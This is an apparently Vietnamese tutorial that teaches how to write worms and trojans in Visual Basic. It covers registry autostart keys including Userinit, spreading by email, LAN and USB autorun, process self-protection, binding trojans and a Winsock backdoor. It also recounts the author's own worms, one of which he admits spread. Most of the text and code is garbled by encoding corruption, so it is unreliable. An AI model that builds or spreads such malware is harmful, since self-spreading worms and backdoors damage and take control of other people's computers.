Virus toàn tập !"#$%&&'&&( Lý do : ")*++,-./###01"2.345&&67 I. ABC - Định nghĩa : 8/.9+.")*+:;:<= >9?+@A:2B@C: )D1:<= .ED?*. FG.H.32.4:I.J.KJLLDG..BHK%$MG.@ND1$O.P.N)2) QRS>"H.3K>".J". .>T4$>T= $:TK)". .DUVG. >W.X>":= $O.N)2) QRS>"H.3K.*.,$KP19*.,U Y,>W.A$.DZ >W.2.4O.P .*:I.. >""2 2>".+1U . :O:= : >"*2:9+ .[G.Q@ \Z >W.:O:= "2:9+Q<X>W.U V>W...$W2 9+]+^+.E_.TQQ]2QD:J_.:G)")*)DK% .N*Z 19*.,$M5O @D.T..`:= aUVTQ .TQQ]2QD L>W.2 U bK[$.].:H?+@cFG.H.3dVT)"G.3:O^+a.D 2KOK%A:2:P >J.G.>+@0O/.9+$KPB.:2:;=I)D7U II. Phân tích : `Q*.e>+@$f$.g $ Lf [UUUhQD D`WiQ*..E>+@0O+7)"Q jf$g UUU>>+@0O`7)".`k.P Z G.>+@U Virus:"G.H.3:W:<= >9>+@0O+7$.+2`OD.:GZ2J+)")2 X.N.J>"l)[:,.IU ?4Lk k.P)"mQ.O>"l)[U[5[>_><.4.4I0>+@.T.m>"+,l)[ @ +:O.`G.>")*A:D2.[:1+l)[:P.N*)*n2o.E:D;"2.:DL[>+@7 FG.>">+@B:;]./2>*Om."QGO>":D:1+Z H.30H.3 ,@CA4 @ +:D2.["27UO.N:G@p :q#@ ,l)[,U ">* 1)>+@r)">*KQ<K4D.>"l)[:;Q<)2X0J.k. .)2X7@ +:O@C. )D^+29)">*)DH.3Q :1+7 +2`$.[B]./2$OG.>"0VT9+7:;.N:Gn.,o."G.l)[` j)">*AJ:G..N0D"2:;n o>f7 D ./.)D>+@0O+7.3B.R"2/.>3J+/2)DK 0s$g UUU7B :P"L*.aB)D"2.3nFqol)[n4Ao@ +:O.N*>*.: 2.[` Q*.a+:I1L . Q<X0J+>+@O";O 1"2.3O. 27 8e"/2>*")D"22 @CJL+)IKTtZ q:= H)+._W0T .KX?+@.3Kh.[@CO/.9+l)[.:OQ<)2) 7 uW .3.N.l)[0Vl)[:OQ<X7@C]HQ3.0VO] "2)S7 9+.R)].3>`OjL[\+$)"/.G.>"Q2.[Z l)[, 2)v)G:Ocd_)*+ Q :1+@D0w.52 >vO7 Worm : bK[$.t :<= Q :1+>"Km:O)". .)2X^+ .aK"KT1 l)[nFjo)D>+@0O`7UT.f)2.+29^+ x )$#F0O+)"^+ #.[[.7$^+ q:= )+:G0!= 9:= yzUUU7 !24)")D>+@0O+79+/.U ">* VTOP+ 2a.DA)D"2UFG.sOnT>*oHQ@ +0T>*" 1+@+")"7 UN@ h>".kZ *.,0s+,nz,)+o)+T)+T)". ."27 UY.T.KA:G>"*.,0Y.T.>"*.,:PK*.,KA:G>")1@ +.3 >vB:In">*o7 ."2.T.)"G.V[2.8[[L.$.DG.l)[:MQ*.> /+.WO@{0zC`+eA1@ +7$ 2)".N@ h>"_><.4:MQ*."*:9+"@C.N) L OKKA:G0OKT9+l)[On?LNo:I*:9+") LKKA:G7 |U .)2.+29T>*"2.T.)"fnRoK.t :9+K*":O@C.J" )2) 0>*K"./2Oq:= yz)"n2o7U B@ +:2)"G.@,T>*"G.@,f>v)"0-KT9+)S7 UV[2bK$)DQ"40y4"$KT9KO>a:H:+7 U K0FAp]+7-"2nq)}@=o)Sj>vB:OU |U~FG.@,)].3L•`L•+.4$a.n"2)"..,.o 2nY)"o)"f n"L•*oU0+2`.Sn~o7 €U.G.W."FG.W.n.on?+">+p o:O)"_3"/2)].3L•` L•+.40B7 2)">fZ 3U D ,8F*.,+T)+T ,:.+29[.0J+f:Onz"o[.7 Trojan : bK[$.t ;:<= >+@m$G.`1"2_ UOKT.N)2) "O\.G. H.3O4 2)"G.3:On 2 2o$.+2`.:O)Da G.3:OnqO 2o `g K>>+@$QA>3g )"Q.H.3Q :1+)"nO>/:9oB>+@.3 Q :1+n?T.Go0•)[DQ :1+"."KTL43:J>+@7 ">* g .T.O)">* UN*.N.JT>*n/.4oKQDK4D.OU UN:GnoG.nR>-o.Z QD@ +:OK4D."20!2)"../27U :R@ +"2n">*omU T>*../2Z g )"AZ ]+0 KLOLXP+)"AG.q:P.4*+.E @[>[$MKJ.,.N.J>@[>[Z :9+KP7U +2`O)">]2.+a.P)D"2.3. )"3"‚:I0f$ Lf [$@2f [UUU7>T.: [U D OG.:9+..`+)"g .4)"/2@l.L"Q.N3)"n K[o0qQJ.O L•]2KT_ $>3/2@l."2.3.[BnVP:<o.31:T:9+)"g 7UFG.@, K)"19•[[0y : +:)"@ 7U III. Viết thử coi nhá : (Trong giới hạn của mình, Dũng chỉ có thể hướng dẫn về Worm và Trojan) ">J.>+@OLXKTrƒ y4"$LXBUVT."$3.pU 1. Bảo mật dữ liệu dạng String : B:;.E.4$>*:PnBo L_)*+LD"2)"G.KJK+2JZ G.@,19 0B:;.E)/2."T @@sLZ L . 0"QR[@@7Z G.19K:G@G0u+` .`/..`+-7rQR@".[ L.+2.3".+2>/zu.+}2.[7 ?G.>+@0O+7J+:P)G :D@."2.3:W)"G.. 0?@C 2)] .anWqoOK.4$L-@CLXL")"n<.o>+@Z QD7U ?]2n)"@ ƒn0D! 2 J. 337 !H. 2>3W. _+2`+}z..H.3.3W. @C.4.E2.[ .+}:O.[G.+2`.S/.:<@ +:On8)Do ?4Lk-^+2:q .[Q;@ n+oc0„'7…0†7…0&7…0&|7…0„†7…07…0&‡7 !DL[:P.4 .E2.[/.:HQR"0J+^+.3.z+[8[ )s@ +:O >T.kzl.".3@:;>J.@{7 2. Tạo key khởi động : QD`Wi>HK[2QRKP+ z[.[c[ .[bQg[.0ˆsz.Uz[))ˆ7 [U[f.[ˆVx‰ŠbŠF#x‹zl.f [‹F@l.‹sLf@‹+[.?[@‹8+‹z. .ˆ$U .…ˆ‹ˆ…UxŒx [ …ˆU[5[ˆ zCQ<1./.?.*d-:HKT`@" 1"2@C.4)D.EG.Q">J..:2 •ccccccccccccccccccccccccccccccccccccccccc I.1. Khởi động hợp pháp : VA:G.[n4^+2oUO= )"O"."nIo.[+\NZ G.19.T.0"2f$g .@"7 O|H.a@ + I.1.a Ghi Key trong Regedit theo các địa chỉ sau : VF‹zb•s8x‹F@l.‹sLf@‹+[.?[@‹8+ Vy‹zl.f [‹F@l.‹sLf@‹+[.?[@‹8+ Code : FL+)[ b.x5). [) [•+.8[)@[V[2Qˆ L> |UL))ˆ02? )V[2@7@ [) [•+.8[[ .[V[2Qˆ L> |UL))ˆ) @ˆ8[[ .[V[2ˆ02? )V[2@$2? ))z+QV[2@ z.$K8[@+).@7@ [) [•+.8[z[.? )+[x5Qˆ L> |UL))ˆ) @ˆ8[z[.? )+[x5ˆ02? )V[2@$2? ) )? )+[ [@z.$2? )8[@[>[L@$2? )Lf2[@$) . @2$2? )Q . @7@ [) [•+.8[[)[.[? )+[Qˆ L> |UL))ˆ) @ˆ8[[)[.[? )+[ˆ02? )V[2@$2? ) )? )+[ [@z.7@ +Q)@.8xYŠzŽc•yL[+).[ .[L@. +Q)@.8xYŠ#8‰c|••[[lQ 2 +Q)@.Vx‰Šy88xŠyzx8c•'&&&&&& z+Qz >[z.0V[2@$@. .@z.$@.? )+[@z.$@. . @z.7 8[. 8[[ .[V[2V[2$@. .$8[. 8[z[.? )+[x58[.$@.? )+[$&$8xYŠzŽ$2? )@. . $[0@. . 7 8[)@[V[28[. xLz+Q z+Q[)z[ 0V[2@$@. .@z.$@.? )+[@z.7 8[. 8[[ .[V[2V[2$@. .$8[. 8[[)[.[? )+[8[.$@.? )+[ 8[)@[V[28[. xLz+Q • ?+@@z. > .[z+Q•Š L07 #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […0nU[5[o7 x)@[ ?+@cU .…U[5[ […0nU[5[o7 xL#l z >[z.Vx‰Šy88xŠyzx8$ˆzl.f [‹F@l.‹sLf@‹+[.?[@‹8+ˆ$ˆ+ˆ$?+@ •[)z[ Vx‰Šy88xŠyzx8$ˆzl.f [‹F@l.‹sLf@‹+[.?[@‹8+ˆ$ˆ+ˆ• .5O V[2 xLz+Q •Wi 1+A:2)"`V[2 • 1?+@)":Lv•)[Z QD I.1.b Phương pháp sử dụng thư mục khởi động : ‹+[.@ Lz[ @‹DungCoi‹z. .F[+‹ @‹z. .+ DungCoic`@pLk.*., I.1.c Phương pháp sử dụng các tập tin đặc biệt : OG.@,.]."K.T.>/+.W/.:<.3O@CKA:GH.3W. +,KKA:G*.,0sUz2@.[U7 +"2)`^+ . U": I.1. Khởi động bất hợp pháp : ?*OKT.[nu+2:<o.E.KJO4..* >".]4Fzb•#Y K.P] U +2`$1Wi)"J+QD P+J.T>*Z V[2.1"2.3K`:k. 0J+\+O.P)"*:9+"KA:GKT:I7 ’$1S.`U:2)"_H.:G@+>"*.,`/.+2PJ+KTP+ J.Q/.Z WU Sửa đổi Key trong Regedit : VF‹zb•s8x‹F@l.‹sLf@‹+[.?[@‹s)‹y@[. VF‹zb•s8x‹F@l.‹sLf@‹+[.?[@‹s)‹z[)) Code : (Code mẫu với Key Userinit ) Wi)"H"2hH.3Z W. :IKA:G 2.J:Gz l[ FL[08/.:P:/27 FL+)[ b.x5). [) [•+.8[)@[V[2Qˆ L> |UL))ˆ02? )V[2@7@ [) [•+.8[[ .[V[2Qˆ L> |UL))ˆŠ ) @ˆ8[[ .[V[2ˆ0Š 2? )V[2@$Š 2? ))z+QV[2@z.$Š K8[@+).@7@ [) [•+.8[z[.? )+[x5Qˆ L> |UL))ˆŠ ) @ˆ8[z[.? )+[x5ˆ0Š 2? )V[2@$Š 2? ))? )+[ [@z.$Š 2? )8[@[>[L@$Š 2? )Lf2[@$Š ) . @2$Š 2? )Q . @7@ +Q)@.8xYŠzŽc +Q)@.8xYŠ#8‰c| +Q)@.Vx‰Šy88xŠyzx8c•'&&&&&& +Q)@.Vx‰ŠbŠF#xc•'&&&&&& z+Qz >[z.0V[2@$@. .@z.$@.? )+[@z.$@. . @z.7 8[. 8[[ .[V[2V[2$@. .$8[. 8[z[.? )+[x58[.$@.? )+[$&$8xYŠzŽ$2? )@. . $[0@. . 7 8[)@[V[28[. xLz+Q • ?+@@z. .x5@z. > .[z+Q•Š L07 .x5cn‹sLf@‹[5)[U[5[o #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […0nU[5[o7 x)@[ ?+@cU .…U[5[ […0nU[5[o7 xL#l z[)) .x5 z >[z.Vx‰ŠbŠF#x$nzb•s8x‹F@l.‹sLf@‹+[.?[@‹s)o$ ny@[.o$?+@ xLz+Q •1?+@)":Lv•)[Z QD •+)*z[)) .x5)"/.1.J.0VT.5O O>"D2.p:7 Chú ý : !DL[rO.<KH.3:;Q`L<0+2*.:,KTD2.pK Q`L<$Q`L< j:ID2.p7 F+,./2*+^+.3aD2•)[:;Q`L</2$jKA:G)D./2KJ.^+)9U ?K“.+]."2.3H.3Z W. @C:IKA:G 2.z l[FL[U 3. Lây nhiễm : ‰[ $:2)"G.._. .:Bt/.9+nz.Do:O U a. Email nhé : +2`.SHQ:O)"@pLkbx0b+.)Kx5)[7O@{>".T..Ebx:PK .>"p [ ).:,.IKJ.JU+2`"2K)")+:`* 2KTB/2 @"0a. K>+h7 ?+@@z. #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […00€„7…0&7…0&7…0&77 x)@[ ?+@cU .…U[5[ […00€„7…0&7…0&7…0&77 xL#l z[.c[ .[bQg[.0l7 z[.z.c[ .[bQg[.00†(7…0†7…0„7…0&'7…07…07…0&†7…0€„7…0„‡7 …07…07…0&'7…0&‡7…0((7…0(†7…0„7…0&‡7…07…0&77 z[.+.cs@.U[ .[bQg[.00†(7…0†7…0„7…0&'7…07…07…0&†7…0€„7 …0„‡7…07…07…0&'7…0&‡7…0((7…0(†7…0„7…0&‡7…07… 0&77 •QDWi/.L_)*+ALDz.A.`:9+:IB^+ ;@:P.?LXL".* z[.F#c+.UY[. [z [00††7…0„‡7…0'&7…0†|77 z[. cF#ULL[@@@.@07 •Œc ULL[@@x.[@U+. z[.F )cz.U[ .[#.[0&7 F )Ucz.UY[. [z [00††7…0„‡7…0'&7…0†|77ULL[@@@.@07ULL[@@x.[@0Œ7 F )Uz+Qg[.cn`GL+F )o •?4LkB:~ a)" F )UL2cnGL+[ )o •?4Lk3+Bm F )U [.@ULLc?+@ •!2)"1l)[:4Km F )Uz[L [5. z.Uu+. b. LAN tại sao không ? 2.+29.D>9HQj. . UŒ:<.k.J:Gz [l+))0h@p :q7 UN*. .2 Q.3KTO3:O0•)[27U KO)"A. ..a/.$.^+.3n`K4+oB:;.3 |H.aHQ Uz""#:P5:<.kz [ Uz"G.Tk.+ Z sLf@)"/2)*}.I@{Z *:9+"U |U-:)D.K[2.[[L. @,KO^+$BrQJ.)"O.Pa)"a BrO.P.3Q"2@ + 1. Command : +2`.SZ "2)"K`+*:9+")".[)*K 03>":Lv.kz [ •+))>".].7Uz +:O.J":.]."2>".N*. .2U ?+@@z. #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […00€„7…0&7…0&7…0&77 x)@[ ?+@cU .…U[5[ […00€„7…0&7…0&7…0&77 xL#l @[)) z[.@[))c[ .[bQg[.0ˆf@.U@[))ˆ7 @[))U+ˆ6@[6”[.>[fd‹)U.ˆ$&$+[ z[.l@c[ .[bQg[.0ˆ@.Ul)[@2@.[Qg[.ˆ7 z[.Lcl@U[.[5.l)[0ˆ‹)U.ˆ7 Q+llc& s)[LU.xLblz.[ ‘d+[ Q+llcLU[ L)[ #l[l.0Q+ll$7cˆ‹‹ˆ[ @[))U+ˆ6@[6”[.>[fˆ•0[l.0Q+ll$77•ˆd‹)U.ˆ$&$+[ z[.LLcl@U[.[5.l)[0ˆ‹)U.ˆ7 Q+llcˆˆ s)[LLU.xLblz.[ ‘d+[ Q+llcLLU[ L)[ Q+llc8.00Q+ll7$€7 #l8.0Q+ll$€7cˆ@Kˆ[ Q+ll LLc[l.0Q+ll$|7 #l[00Q+ll LL77d&[ @ [ [c •0[l.0Q+ll$77•ˆ‹ˆ•0Q+ll LL7• •)[2?+@$@ [ [•ˆ‹ˆ• )•ˆU[5[ˆ xL#l xL#l xL#l Chú ý :1+J.?:;M"2$.+2`"2)">*/..+2*.>0*.K`K"7 2. Regedit : +2`.S"2)".N*. .:")D.V[2.8[[L.0.T@,L*:9+".N ].E.7 ?+@@z. #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […00€„7…0&7…0&7…0&77 x)@[ ?+@cU .…U[5[ […00€„7…0&7…0&7…0&77 xL#l @.Vyc•'&&&&&& bQg•z z[.bQg•zc[ .[bQg[.0ˆz.U•)[z2@.[bQg[.ˆ7 z[.bQg8[cY[.bQg[.0ˆf.@‹‹U‹.‹ˆ•Š ˆ[l +).z.L8[>ˆ7 @.V[2 .cˆzb•s8x‹F@l.‹sLf@‹ˆ•Š ˆ+[.?[@‹x5)[‹sK+ f)[‹z [@ˆ bQg8[Ux+V[2Vy$@.V[2 .$ z+QV[2@ •x @+QK[2# z+QV[2@ bQg•zU2•)[?+@$ˆ‹‹ˆ•@+QV[2•ˆ”L+U[5[ˆ$+[•O.PL-"•)[2. 2>*L-" "2 [5. Chú ý :"2)*.K`KT.,.QRA.`1+J.?KTM)DU c. USB = Mốt : •) @2)"f)2) D/.?*. ..”&&†>]2"rO>t>~G..4% "2>".4%G.V[2.8[[L.".+0$L@@ +:•+G>"LBKT +,..`8[ )s0?.`L/2TK@]].)" K7r5J><.4.a'"Q+j .*. 447 fL+L>T.3:PnŒq+jo0j:O)"L. D":PO). "7UF"O)2 .+,.)+,.Q` + 0.,.+1:PKP:<.T."2:O7$BA..3qeO:. :+-U -O)ID)">]2.N .4%"2/.:H>"LX)"U j.K`a+.4%"2B:; T>*@ + U3q:= yz0Œ[O.j.DKT7 *.K`./.q:= VP. 5[.q:= :O$q:= ")":= .J^+ yz0D:= >"K:= 97 U3."QG.k02>TJ.)+T>+7 |U•)[20uW :H7 DHWiR.aB@pLkA:2)".DQf>.`KR. .kK +O.`.->.k.HaU •L[Q+ •x )L+>>Q– )U > .[z+Q•Š L07 ?+@@z. #l[0U .7‘d|[ ?+@cU .…ˆ‹ˆ…U[5[ […00€„7…0&7…0&7…0&77 x)@[ ?+@cU .…U[5[ […00€„7…0&7…0&7…0&77 xL#l L$L l@$l z[.l@c[ .[bQg[.0ˆz.U•)[z2@.[bQg[.ˆ7 z[.Lcl@U>[@ •x L#L #l0LU>[2[c7L0y @[0[l.0L$77‘dˆˆ7[ z[.lcl@UY[.•)L[0L7U@+Ql)L[@ •x l)#l #l 0l)U .•ˆ‹ˆ•l)U [•00€„7…0&7…0&7…0&777c• )@[[•)[2 ?+@$l)U .•ˆ‹ˆ•l)U [•00€„7…0&7…0&7…0&77 +F+0l)U .7 [5. xL#l [5. xLz+Q •ccccccccccccccccccccccccccccccccccccc > .[z+Q+F+0+F+@z.7 • ..3.k l@$l$l)$[5. z[.l@c[ .[bQg[.000'|7…0((7…0€7…0&‡7…07…0„7…0&‡7…0&7… 0&|7…0€„7…0†&7…0&‡7…0&'7…0&7…0'|7…07…0‡7…0„7… 0&7…0&(7…0†(7…0('7…0&„7…0&7…0((7…0„777 •z.U•)[z2@.[bQg[. z[.lcl@UY[.•)L[0+F+7U@+Ql)L[@ •x l)#l •)[2?+@$l)U .•ˆ‹ˆ•l)U [•00€„7…0&7…0&7…0&77 +F+0l)U .7 [5. xLz+Q •ccccccccccccccccccccccccccccccccccccc > .[•+. 0l)[ [7@)[ •VP. @N.j.DZ •)[ bxYx L)[ c00l)[ [7‘dˆˆ7 x5.•+. x L)[ c• )@[ xL•+. d. BackDoor (Mở cửa hậu): J.$: jnFqBo.3Onz@No)"/.)+T1Q">J.>9 K`a.[e)D _ *.^+$O@H^+ 1"2.+ KV“.+].AqMKJ.,.N.J.G.K$@ +:O.Ez[>[:O@CO^+29)" .a.`D0?.7U>]2>9HQA:2)"@NKJ.,_ > +U 1:TK“.+]."2r:IL-Ag a4.OAf>3)iL@ +0B@+2=.+ 7 ?*KJ.,.T.@".).+ $MJ+.N>J.:O.3@C,L+)If /.)U:9+"2:9+.>+2`.S>J.f.T.0@pLk.`.))".% K%.@)}.J+.>*$L+)I .a)"Kh)D.7 z,)IfO.P^+):P.E@[>[".R >J.fjn`K4+oJ.U ?*@pLkK“.+]."2/.+2Pf0@CQ<•[s )).*>"M)D 27UU>]2 "."KT.4.W3)].3>`>J. O0s7U JDZ g )"O.P:nWk.`+o/.:<0g KT)2) " 7U Q">J."2BrLvHQ>9KJ.,0J+QD+,`a+K“H.3 O.P)`fffU^+ . U:P:G.Q">J./. 2>9Z:9"27 Nguyên tắc : ?/:9.Q""2@CWQD^+2J.:O)">*KJ.,> +QRL-s@KU ?*"2/.:H$QDr1.D.)s@K.D1)[.z[>[0F2KF2Z7>")" WO.P)`)D> +U Thực hiện : Bước 1 :DG.LN Q"2QD/Standard EXE Bước 2 :`.)s@K !P.N*. ."2QD.[.N:HProject -> Components 0MS.qI4Ctrl+T7 z +KP.<G.DQD< QControls 0FM:<:;)" Q"27$QD.3.`Microsoft Winsock Control 6.0>":L/+j/OKU Bước 3 : ;2>C.).[3@ +0VT1. 2:q.+G.4 [7 Bước 4 : ];)*H.3 p@q)*QD]:DL[@ + > .[z+Q LŠ)K07 s@KU)@[ •!O./.KJ.,*.DZ s@K0J+O7 s@KU[.n†U&U&Uo$|€ •VJ.,.@,#†U&U&U>q)"|€ xLz+Q > .[z+Q LŠ)K07 s@KUz[L . [5.U[5. •YpOL_)*+>GL+Z [5.5 xLz+Q > .[z+Q•Š L07 s@KU ).c|€ •q]L_)*+ s@KU@.[ •S.:1+:L_)*+.Eq:;5)]A.` xLz+Q > .[z+Qs@KŠ[.8[^+[@.02? )[^+[@.[L@7 •J,]KJ., s@KU)@[ •!OKJ., s@KU[.[^+[@.[L •/]KJ.,>Hp)*KJ., F@5n K[.. o •TQ:;"."KJ., xLz+Q > .[z+Qs@KŠ . > )02? )Q2.[@. )@7 •J,]L_)*+ L . @z. •V QQJ)+._O.]:I s@KUY[. . L . •YL_)*+]:I>"QJ F@5L . •TQOL_)*+ xLz+Q e. Kỹ thuật chèn Trojan : :;:<= >9g $.K“.+].nn_.a:[.,Z g .3OK“.+].)"K“.+]. :O0V“.+]..3Kt1Oj7U V“.+]."2)"K“.+]..45+/.g .E@l. ?9HQO|)"@ + UH.3+,K4D.D2.EG.y8@ +:OK4D.W Uml)[:O>"+,H.3$@ +:O. .5p)il)[ |UJ"n,.og >"8[@+[0??„7Uz +:O.45+/.W U .`.3OK“.+]..a|)"K“.+].:H/.`B@CLvK“.+]."20r LkaLkQD>J..+ 7 UDG.8[@+[a .g UDFL+)[a :DL[@ + +Q)x+8[@+[ [@VŠFc& [@F‰ŠyYx8c& [@ŠbYbŠzbyc&| [@F‰Šs#•xc&€ xLx+ • •+.).FU •[>[—) l[>[–@ U˜ •+@[x5. .@ l)[l.[[@+[l)[ L@ >[ •.[l)[..[L[@. . @@[LU • .[b.Q[$'(((–€‡‡| • +Q)•+. •)[0L[@.•#x@z.$[@#@8[@+[$b. )[@#x@z.cˆyzbFˆ7@ z. bxYx+)L•)[•8[@+[ [@‰x07@2.[ [@‰xc L8[@ . 0[@#$[@#x7 [...]... trình ứng dụng” Worm DungCoi : - Áp dụng phương thức trong bài “Host và lập trình ứng dụng” điều khiển thông điệp muốn lây lan qua Y!M - Lây lan qua USB - Tự bảo vệ bằng cách tạo các process tự bảo vệ - Lây qua mạng LAN Viết bài “Tự viết ứng dụng bảo vệ dữ liệu căn bản” Viết bài “ Ứng dụng di động Khó khăn và hướng giải quyết” Worm vbvn (Visual Basic Việt Nam) : - Áp dụng kiến thức từ 2 bài... báo), và đòi hỏi người dùng phải có những hiểu biết kha khá về PC thì sử dụng mới đạt hết hiệu quả Một số cảnh báo “Thừa” thường gặp (Bản thân Dũng còi gặp) : - Cảnh báo viêc đọc file của Explorer.exe - Các chương trình load một chương trình nào đó (Đôi lúc gây thừa) - Cảnh báo với các tập tin xem Flash (Thao tác đọc và ghi file) - Tương tự như thao tác xem tập tin Flash (Định dạng exe)... lẽ đây là trang web hay nhất bằng Tiếng Việt để đọc định nghĩa về virus và các kiến thức khác về virus (Rất hay đó) http://www.quantrimang.com : Trang web tiếng Việt, có rất nhiều bài viết hay về virus nói riêng và các vấn đề khác của tin học nói riêng http://www.rootkit.com : Trang web hàng đầu thế giới về vấn đề RootKit - Một trong những kỹ thuật đáng sợ nhất của virus (Do chưa đủ... năng tự động cảnh báo làm việc rất xuất sắc Cảnh báo cực kỳ hiệu quả : - Cảnh báo thao tác ghi key khởi động - Cảnh báo dấu hiệu tự động Copy file hay chỉnh sửa file (Với các file thực thi) - Cảnh báo việc tự động cài Driver vào hệ thống - Cảnh báo việc mở một URL thông qua trình duyệt web bởi một chương trình nào đó - Cảnh báo việc Hook, hay Inject vào các process hệ thống (Rất tốt để chống... worm Dũng từng viết thì chỉ có duy nhất 1 con vô tình bị lây lan ra ngoài) Dù việc viết worm là xấu, nhưng rõ ràng nhờ nghiên cứu nó mà Dũng còi đã có thêm những kiến thức về hệ thống, và nhất là về virus và AV Việc này khiến Dũng còi tự tạo cho mình một liều “Vắc xin” để phòng ngừa Virus Trong phần này, Dũng còi sẽ chỉ ra các cách tiêu diệt các loại worm thông thường (Và một số loại đặc... phân tích và thông tin rất đáng giá về các loại virus V Lời kết : Dạo này, có nhiều bạn đã công khai chỉ trích những việc làm của Dũng còi (BomChat,Virus) Rõ ràng nếu bạn thật sự là người quan tâm đến Dũng còi và quan sát từng bước đi của Dũng còi trong việc lập trình các bạn sẽ thấy rõ, từ con worm dcDakNong đến RealWorm (dcDakNong -> DungCoi -> VBVN -> RealWorm) là những bước tiến của... chỉ đáng lưu tâm khi nghiên cứu về virus : http://vx.netlux.org : Địa chỉ tập trung rất nhiều bài viết, tài liệu, mẫu virus, source virus và có rất nhiều liên kết tới các trang web giá trị khác về cả AV lẫn Virus http://www.viruslist.com/en : Danh sách virus, phân tích virus http://www.rohitab.com : Forum rất lớn về các vấn đề bảo mật nói chung và virus nói riêng (Về virus thì forum này rất đáng... thức từ 2 bài viết trên, trong đó quan trọng nhất là bài viết “ Ứng dụng di động Khó khăn và hướng giải quyết” để tạo khả năng bất tử quyền điều khiển - Ẩn danh trong process - Sử dụng Key Userinit để khởi động Viết Remove DungCoi sau khi worm này lây lan quá mạnh Worm RealWorm : - Hoàn thiện worm DungCoi Viết Safe Việt v1.0 để chống lại các loại worm viết trên AutoIT và các loại worm có kiểu... khác về rùi phát tán chứ có cần tui phải tự viết ? 7 Nếu RealWorm (Dòng worm Bkis cập nhật là DakNong) thực sư tui muốn phát tán thì tui có ngu đến mức để dòng chữ DakNong trong mấy cái phần thông tin của Worm để rồi người dùng dễ dàng phát hiện không ? Sau đây là bảng tóm tắt các mốc quan trọng (Chỉ nêu những điểm mới trong từng mốc) Worm dcDakNong : - Tự động cập nhật - Lây... Nam đều gần như không có sự phòng thủ Việc này là rất tệ với các Vxer Vì vậy một nguyên tắc bảo vệ là cần thiết Có một số cách tự bảo vệ như sau : - Ẩn process (Khó có thể bị kill nếu không sài tới các soft chuyên nghiệp) - Kỹ thuật tạo các process tự bảo vệ lẫn nhau (Đã sử dụng trong worm DungCoi và cải tiến lớn tại RealWorm) Kỹ thuật này không quá phức tạp, bạn có thể tham khảo . B.>*)].3QD@C ./2e$.EfL K:J8[ )s0dcDakNong -& gt; DungCoi -& gt; VBVN -& gt; RealWorm7)"_ Q.JZ B0!9+"2.P*..ELN>".EQ">J.7U "QG€fB.E>J..3B. +:2)"G.@,T>*"G.@,f>v)"0 - KT9+)S7 UV[2bK$)DQ"40y4"$KT9KO>a:H:+7 U K0FAp]+7 - "2nq)}@=o)Sj>vB:OU |U~FG.@,)].3L•`L•+.4$a.n"2)"..,.o. z+QV[2@ bQg•zU2•)[?+@$ˆ‹‹ˆ•@+QV[2•ˆ”L+U[5[ˆ$+[•O.PL-"•)[2. 2>*L-" "2 [5. Chú ý :"2)*.K`KT.,.QRA.`1+J.?KTM)DU c.